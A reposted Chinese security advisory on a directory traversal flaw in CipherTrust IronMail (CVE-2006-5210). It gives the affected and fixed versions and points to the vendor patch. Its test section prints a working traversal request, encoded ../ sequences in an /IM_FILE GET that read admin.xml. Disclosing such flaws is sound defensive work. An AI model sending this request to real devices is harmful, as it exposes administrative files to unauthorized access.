 |
IronWebMail目录遍历信息泄露漏洞 |
|
|
| IronWebMail目录遍历信息泄露漏洞 |
|
| 作者：佚名 文章来源：不详 点击数： 更新时间：2007-1-26 15:09:38 |
|
2006-10-23 10:24:08
发布日期：2006-10-16
更新日期：2006-10-17
受影响系统：CipherTrust IronMail 6.1.1
CipherTrust IronMail 5.0.1
CipherTrust IronMail 4.5.1
CipherTrust IronMail 4.1 不受影响系统：CipherTrust IronMail 6.1.1 HotFix-17 描述：
BUGTRAQ ID: 20436
CVE(CAN) ID: CVE-2006-5210
IronWebMail是一款企业级的硬件防火墙设备。
IronWebMail在处理畸形HTTP请求时存在目录遍历漏洞，远程攻击者可以利用此漏洞通过在URL中嵌入编码后的目录遍历串访问设备上的任意文件。
<*来源：Derek Callaway
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！ GET /IM_FILE(%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/admin.xml)
HTTP/1.0[CRLF][CRLF]
建议：
厂商补丁：
CipherTrust
-----------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
http://www.ciphertrust.com/
|
|
| 文章录入：admin 责任编辑：admin |
|
|
上一篇文章： HP DTMail附件参数缓冲区溢出漏洞
下一篇文章： MailEnable IMAP服务远程缓冲区溢出漏洞 |
|
|
| 【字体：小 大】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 |
|
|
 网友评论：（只显示最新10条。评论内容只代表网友观点，与本站立场无关！） |
|
|
|
|
|
